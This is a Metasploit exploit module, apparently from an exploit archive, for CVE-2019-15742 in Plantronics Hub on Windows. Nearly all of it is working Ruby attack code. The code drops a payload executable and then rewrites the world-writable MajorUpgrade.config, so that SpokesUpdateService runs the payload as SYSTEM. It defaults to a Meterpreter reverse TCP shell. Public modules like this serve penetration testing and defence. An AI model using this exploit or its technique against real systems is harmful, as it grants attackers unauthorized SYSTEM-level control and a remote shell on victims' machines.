The Plantronics Hub client application for Windows makes use of an automatic update service SpokesUpdateService.exe which automatically executes a file specified in the MajorUpgrade.config configuration file as SYSTEM. The configuration file is writable by all users by default. This module has been tested successfully on Plantronics Hub version 3.13.2 on Windows 7 SP1 (x64). This Metasploit module has been tested successfully on Plantronics Hub version 3.13.2 on Windows 7 SP1 (x64).

MD5 | 3edb57f1063129875bbf9e59e5ed282b

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::Services
include Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Plantronics Hub SpokesUpdateService Privilege Escalation',
'Description' => %q{
The Plantronics Hub client application for Windows makes use of an
automatic update service `SpokesUpdateService.exe` which automatically
executes a file specified in the `MajorUpgrade.config` configuration
file as SYSTEM. The configuration file is writable by all users by default.

This module has been tested successfully on Plantronics Hub version 3.13.2
on Windows 7 SP1 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Markus Krell', # Discovery and PoC
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-15742'],
['EDB', '47845'],
['URL', 'https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf']
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2019-08-30',
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_advanced_options [
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
]
end

def base_dir
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
end

def service_exists?(service)
srv_info = service_info(service)

if srv_info.nil?
vprint_warning 'Unable to enumerate Windows services'
return false
end

if srv_info && srv_info[:display].empty?
return false
end

true
end

def check
service = 'PlantronicsUpdateService'

unless service_exists? service
return CheckCode::Safe("Service '#{service}' does not exist")
end

path = "#{session.sys.config.getenv('PROGRAMDATA')}\Plantronics\Spokes3G"

unless exists? path
return CheckCode::Safe("Directory '#{path}' does not exist")
end

CheckCode::Detected
end

def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_system?
fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'
end

payload_path = "#{base_dir}\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
payload_exe = generate_payload_exe
vprint_status "Writing payload to #{payload_path} ..."
write_file payload_path, payload_exe
register_file_for_cleanup payload_path

config_path = "#{session.sys.config.getenv('PROGRAMDATA')}\Plantronics\Spokes3G\MajorUpgrade.config"
vprint_status "Writing configuration file to #{config_path} ..."
write_file config_path, "#{session.sys.config.getenv('USERNAME')}|advertise|#{payload_path}"
register_file_for_cleanup config_path
end
end

Source